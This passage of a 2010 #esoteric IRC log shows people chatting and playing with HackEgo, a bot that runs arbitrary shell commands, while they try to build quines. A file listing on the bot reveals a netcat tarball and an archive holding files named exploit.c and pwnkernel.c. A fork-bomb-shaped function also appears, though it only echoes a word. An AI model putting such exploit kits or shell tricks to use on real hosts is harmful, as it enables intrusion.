blowhards without a coherent idea for a good interface. Please do not count me among them, lest I be sad.) < 1267874289 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :what? It can run as an environment < 1267874308 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: ok, so you don't define "program"? as in a cmplete "module" of code? < 1267874325 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in an environment I guess you could say all values are part of one gigantic program, but... < 1267874328 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*complete < 1267874337 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(module not as in module system) < 1267874338 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I know the distinction you're making < 1267874341 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1267874348 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :alright < 1267874362 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :"Quadrescence: Okay, so do you think there can be a much, much better programming language?" <<< have you heard of clue? < 1267874373 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1267874374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: no, oklotalk! < 1267874376 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklotalkclue < 1267874384 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh you have < 1267874390 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh hmm right < 1267874391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you've abandoned oklotalk and this makes me ensaddened < 1267874398 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :EN < 1267874400 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :SADD < 1267874400 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ENED < 1267874409 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i'm sorry, it got out of hand < 1267874418 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's what she said < 1267874422 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :in bed < 1267874433 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :was she holding my cock but it slipped < 1267874466 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: precisely < 1267874469 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because it's so small you understand < 1267874481 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :note: using laptops in cars makes you carsick < 1267874486 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or, me, at least < 1267874488 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no it doesn't < 1267874506 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :does for me < 1267874514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : cpressey: File systems make data sharing difficult. <-- if I understood that convo correctly, cpressy was saying that hg can't share common data between branches? That seems strange. bzr for example is fully capable to do so if you want it. < 1267874517 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i am living proof right now < 1267874518 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ONLY WEAKLINGS GET CARSICK < 1267874534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm hardlinks only work within a single file system < 1267874546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bzr doesn't depend on that for it to work < 1267874600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and yes bzr can if you use a "shared repo" for the branches figure out that thing when cloning related (or the same) remote branch < 1267874604 0 :alise!~d4b78c34@gateway/web/freenode/x-rmpcijsezatydblb JOIN :#esoteric < 1267874611 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :3G -> enter city -> GPRS < 1267874616 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Civilisation! < 1267874621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that seems backwards indeed! < 1267874631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and nowdays you don't need a shared repo for data sharing when doing local clones < 1267874653 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :can someone link me directly to today's log, it'll take me ages to get there < 1267874659 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh! < 1267874661 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :finally, nm < 1267874667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://tunes.org/~nef/logs/esoteric/10.03.06 < 1267874676 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol we hit a bump when I was cpoying < 1267874680 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I bashed the keys randomly < 1267874682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*copying < 1267874694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(you need to provide some option to bzr branch for that to happen for the latter situation) < 1267874710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see you guys for a bit < 1267874719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, cya < 1267874735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also, doesn't roaming work between 3G and GPRS? < 1267874748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems backwards if it doesn't hm < 1267874771 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in my dream, two people told me almost the same thing in pm almost simultaneously, and i tried to cp it to both of them to ask for their explanations, but accidentally cp's a thousand lines of o's on one query window, and couldn't see my keyboard anymore, so i couldn't stop it. what a horrible nightmare. < 1267874787 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*cp'd < 1267874790 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267874966 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267875123 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875123 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875125 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875126 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875126 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875126 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267875142 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :^ a small-scale version of what it'd look like < 1267876780 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267877056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, strange one < 1267879519 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267879910 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1267879956 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267880974 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267881762 0 :MigoMipo!~migomipo@84-217-3-174.tn.glocalnet.net JOIN :#esoteric < 1267881932 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267882398 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :when i was a kid i always thought i'd be in big trouble if i dropped into a well or something, because crying for help would be so cliche i couldn't do it < 1267882458 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :just as well you never realized breathing is a cliche < 1267882471 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*whoops*... < 1267882525 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i'd play dead but it'd take weeks on irc, so i'll just say "luckily people don't notice it so it doesn't matter" < 1267882541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1267882666 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :now i kinda wish i'd played dead. < 1267882673 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :that would've been so cool < 1267882718 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dead people are generally cool. it's that lack of metabolism. < 1267882875 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267882886 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267882896 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :seriously man < 1267882986 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm serious. it's a very grave matter. < 1267883034 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no i mean you're seriously funny, or maybe i'm just abnormally high on life today < 1267883057 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :tbh it feels like an awesome idea to jump out of the window naked < 1267883060 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :just second floor < 1267883100 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pro tip: make sure the door isn't locked first < 1267883119 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267883128 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well i could put the keys in my meat pockets < 1267883159 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :running outside naked is awesome, but i'm too chicken to ever actually do it < 1267883159 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :...in which it is revealed that oklokok is actually a kangaroo. < 1267883169 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :! < 1267884878 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :freecell is a fun game < 1267884879 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267885027 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i was just told i'm the preferred candidate for a summer job about cellular automata, but i will probably not be chosen because of bureaucratical reasons :) < 1267885698 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh, seems typical < 1267885784 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :actually not even just bureaucratical, but also political reasons < 1267885882 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cellular automata are communist! < 1267885901 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :they usually take people who are currently doing their master's degree, which i only start @ fall, and the prof X whose position this is will probably take another prof Y's student, because Y took X's student last year < 1267886012 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i'm so unlucky, first the cellular automata, formal languages, graph theory and tilings and patterns (tm's in tiles) courses are all given just before i realize i should switch to math, and then the CA prof takes a student for a summer job just before i start my master's :< < 1267886055 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if only i'd born on a different year of the cycle < 1267886059 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :beenm < 1267886062 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*been < 1267886062 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: What was your BS in? < 1267886087 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i haven't finished it yet, but it's in the it dep and it's about fully polynomial approximations to knapsack < 1267886101 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :PM me < 1267886131 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :that's another thing, i'm not officially a math student yet < 1267886209 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :actually now i'm wondering what BS is short for exactly < 1267886216 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :bachelor's ...? < 1267886437 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Bachelor of Science < 1267886793 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh! < 1267886808 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :maybe i should've known < 1267888743 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267890221 0 :FireFly[DS]!~nds@unaffiliated/firefly JOIN :#esoteric < 1267890753 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`define cajole < 1267890759 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* wheedle: influence or urge by gentle urging, caressing, or flattering; "He palavered her into going along" \ [13]wordnetweb.princeton.edu/perl/webwn \ * To encourage or persuade by effort; to coax < 1267893407 0 :FireyFly[DS]!~nds@217-211-228-251-o859.telia.com JOIN :#esoteric < 1267893410 0 :FireFly[DS]!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267893577 0 :FireyFly[DS]!unknown@unknown.invalid QUIT :Client Quit < 1267894474 0 :sebbu2!~sebbu@ADijon-152-1-48-115.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267894517 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267894517 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1267895968 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1267898204 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This exists: "Mooix: Where unix is the MOO." < 1267898215 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This does not exist: "InterMOO: Where the Internet is the MOO." < 1267898259 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I might change that. < 1267898281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, is that based on some meme? < 1267898306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also should be moonet < 1267898306 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's not a snowclone as far as I know. < 1267898323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, snowclone? < 1267898341 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A snowclone is a meme based on a phrase. < 1267898352 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like "X is the new Y". < 1267898494 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Calling it Moonet would continue the Mooix pattern, but I don't want to do that. < 1267898524 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Internet" was originally an adjective meaning "between the nets"; we can pretend "InterMOO" was originally an adjective meaning "between the MOOs". < 1267898614 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :an internet is a network of network < 1267898615 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*networks < 1267898623 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and contrary to popular belief, there is more than one internt < 1267898626 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*internet < 1267898630 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just, only one of them is big and famous < 1267898641 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and that's the one that's called "the Internet" < 1267898663 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Arguably, there are two of them that are called the Internet: the Internet version 4 and the Internet version 6. < 1267898674 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"inert net". < 1267898698 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A net made out of glass would be a pretty inert net. < 1267898747 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: umm, IPv4 is "Internet Protocol version 4" < 1267898765 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the bits of the Internet that use version 4 and version 6 of the protocol are definitely connected togetgher < 1267898767 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*together < 1267898769 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so form one internet < 1267898805 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Intern-net < 1267898825 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(If Clinton had invented it instead of Gore) < 1267898836 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, if the Internet Protocol was developed to transfer data between the nets, does that mean that a protocol developed to transfer stuff between the Internet version 4 and the Internet version 6 is an Interinternet Protocol? :P < 1267898842 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Your comments on the FRTH fingerprint made me want to write something in Forth. You should be ashamed of yourself. < 1267898940 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, an InterMOO protocol would be based on an RPC protocol. < 1267898960 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: IPv4 Internet and IPv6 Internet are linked. < 1267898965 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Thus, what we have is an InterInternet. < 1267899014 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(IIRC, they're linked through various forms of tunneling, as well as hosts being on both) < 1267899026 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, maybe an RPC protocol is actually the sole thing we need. < 1267899030 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The tunneling is only possible due to the hosts that are on both :P < 1267899073 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Thank goodness for 192.88.99.1! < 1267899126 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And what's that one DNS server anycast address? 4.3.2.1? < 1267899244 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :4.2.2.1 < 1267899262 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What about 8.8.8.8 ? < 1267899267 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :different servers < 1267899356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hah < 1267900169 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: How much MOO would a moo-cow moo if a moo-cow would moo MOO? < 1267900199 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If it's my MOO, then about a hundred megabytes of it. < 1267902746 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267902813 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267902965 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267903089 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267903114 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1267903411 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I want to like Scheme < 1267903507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's a strange thing to say < 1267903531 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :o-qo-do.oo-qp-oo.ob-op-o < 1267903610 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`yes < 1267903611 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y < 1267903636 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :`no < 1267903637 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267903646 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`No output. < 1267903647 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267903650 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :`cool < 1267903652 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267903653 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Almost a quine. < 1267903663 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :`` < 1267903665 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267903709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267903722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267903724 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16443 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267903730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, does that explain it ;P < 1267903744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1267903750 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`file wun* < 1267903752 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :wun*: ERROR: cannot open `wun*' (No such file or directory) < 1267903753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267903755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run file wun* < 1267903756 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :wunderbar_emporium: directory \ wunderbar_emporium-3.tgz: gzip compressed data, from Unix, last modified: Fri Aug 14 14:01:51 2009 \ wunderbar_emporium-3.tgz.1: gzip compressed data, from Unix, last modified: Fri Aug 14 14:01:51 2009 < 1267903762 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267903763 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267903786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run tar tf wunderbar_emporium-3.tgz < 1267903787 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :wunderbar_emporium/ \ wunderbar_emporium/pwnkernel.c \ wunderbar_emporium/tzameti.avi \ wunderbar_emporium/wunderbar_emporium.sh \ wunderbar_emporium/exploit.c < 1267903792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1267903842 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`echo `echo < 1267903843 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :`echo < 1267903850 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So a quine is possible. < 1267903858 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it is? < 1267903865 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267903873 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :at least there's a sequence of programs that approaches a quine < 1267903915 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267903941 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`yes `echo < 1267903942 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :`echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo < 1267903955 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`yes `yes < 1267903956 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :`yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes < 1267903970 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's not going to work. < 1267903983 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :`yes \ `yes < 1267903984 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :\ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ < 1267903992 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :what's `yes < 1267904002 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :man 1 yes < 1267904014 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`yes is a command that outputs its input forever. < 1267904015 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. < 1267904024 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So if it weren't for those darn line breaks... < 1267904059 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If it wasn't for those darn line breaks then what ...? < 1267904072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run yes is a command that outputs its input forever. | head -n1 < 1267904073 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :is a command that outputs its input forever. < 1267904076 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267904078 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Never mind. < 1267904082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, any bash quine should work < 1267904094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you can add `run to the start of it < 1267904103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run echo "$0" < 1267904105 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash < 1267904110 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run echo "$@" < 1267904111 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904114 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run :(){ echo blah }; :; :; : < 1267904115 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, how is bash invoked for `run? < 1267904126 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oi. < 1267904143 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: IIRC, it's just that the run shell script does "$@" < 1267904146 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run foo(){ echo blah}; foo < 1267904147 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, huh? < 1267904164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, does it use bash -c or what? < 1267904169 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :`run foo(){ echo foo }; foo; echo bar < 1267904171 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904171 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Why not it work? < 1267904171 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: run is a bash script < 1267904174 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It just does "$@" < 1267904176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`type run < 1267904178 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run type run < 1267904182 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904186 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run dog run < 1267904187 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run ls */*run* < 1267904189 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin/runfor < 1267904190 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :`run 'foo(){ echo foo }; foo; echo bar' < 1267904192 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, where is the script? < 1267904206 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Built in to HackEgo. < 1267904209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267904643 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I suppose, in retrospect, that there is no reason for run to be built in. < 1267904663 0 